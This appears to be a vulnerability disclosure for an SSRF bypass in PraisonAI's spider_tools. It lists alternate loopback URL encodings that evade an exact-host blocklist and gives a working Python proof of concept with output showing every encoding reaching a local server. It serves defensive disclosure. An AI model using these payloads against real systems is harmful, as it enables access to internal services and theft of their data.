PraisonAI CVE-2026-47390

praisonaiagents/tools/spider_tools.py

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

praisonaiagents/tools/spider_tools.py

attacker-controlled URL
  -> spider_tools._validate_url(...)
  -> weak exact-host blocklist check
  -> validation passes for alternate loopback encodings
  -> scrape_page(...)
  -> requests.Session.get(attacker_url)
  -> loopback service is reached

localhost
127.0.0.1

http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

#!/usr/bin/env python3
"""PoC for PraisonAI spider_tools localhost-alias SSRF bypass."""

from __future__ import annotations

import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path


REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
SPIDER_TOOLS = AGENTS_ROOT / "praisonaiagents/tools/spider_tools.py"


def verify_source() -> None:
    expected = [
        "def _validate_url",
        "requests.Session",
        ".get(",
    ]

    text = SPIDER_TOOLS.read_text(encoding="utf-8")
    for needle in expected:
        if needle not in text:
            raise RuntimeError(f"source verification failed: {needle!r} not found in {SPIDER_TOOLS}")


class LocalHandler(BaseHTTPRequestHandler):
    hits: list[tuple[str, str | None]] = []
    body = b"LOCAL-SPIDER-SSRF-SECRET"

    def do_GET(self) -> None:
# noqa: N802
        self.__class__.hits.append((self.path, self.headers.get("Host")))
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, format: str, *args) -> None:
# noqa: A003
        return


def main() -> int:
    if not SPIDER_TOOLS.exists():
        raise SystemExit("missing local PraisonAI source tree")

    verify_source()

    sys.path.insert(0, str(AGENTS_ROOT))
# Import the real shipped implementation.
#
    # Depending on the exact public API exposed by spider_tools.py,
# use the exported scrape function available in the local version.
# The important path is:
#
    #   _validate_url(url)
#     -> requests.Session.get(url)
#
    import praisonaiagents.tools.spider_tools as spider_tools

    server = HTTPServer(("127.0.0.1", 8765), LocalHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()

    candidates = [
        "http://localhost.:8765/",
        "http://127.1:8765/",
        "http://0177.0.0.1:8765/",
        "http://0x7f000001:8765/",
        "http://2130706433:8765/",
    ]

    try:
        for url in candidates:
            LocalHandler.hits.clear()

            try:
# Prefer the real public scraping API when available.
                if hasattr(spider_tools, "scrape_page"):
                    result = spider_tools.scrape_page(url)
                elif hasattr(spider_tools, "extract_text"):
                    result = spider_tools.extract_text(url)
                elif hasattr(spider_tools, "crawl"):
                    result = spider_tools.crawl(url)
                else:
                    raise RuntimeError("No expected spider_tools public fetch function found")

                reached = bool(LocalHandler.hits)
                contains_secret = "LOCAL-SPIDER-SSRF-SECRET" in str(result)

                print(f"{url} passed=True reached_loopback={reached} contains_secret={contains_secret}")

                if not reached:
                    raise SystemExit(f"[poc] MISS: {url} did not reach loopback server")

            except Exception as exc:
                print(f"{url} blocked_or_failed={type(exc).__name__}: {exc}")
                raise

    finally:
        server.shutdown()
        server.server_close()
        thread.join(timeout=1)

    print("[poc] HIT: alternate loopback URL forms bypassed spider_tools SSRF protection")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

localhost. True ok ok local hit
127.1 True ok ok local hit
0177.0.0.1 True ok ok local hit
0x7f000001 True ok ok local hit
2130706433 True ok ok local hit

http://localhost/
http://localhost./
http://127.0.0.1/
http://127.1/
http://0177.0.0.1/
http://0x7f000001/
http://2130706433/
http://[::1]/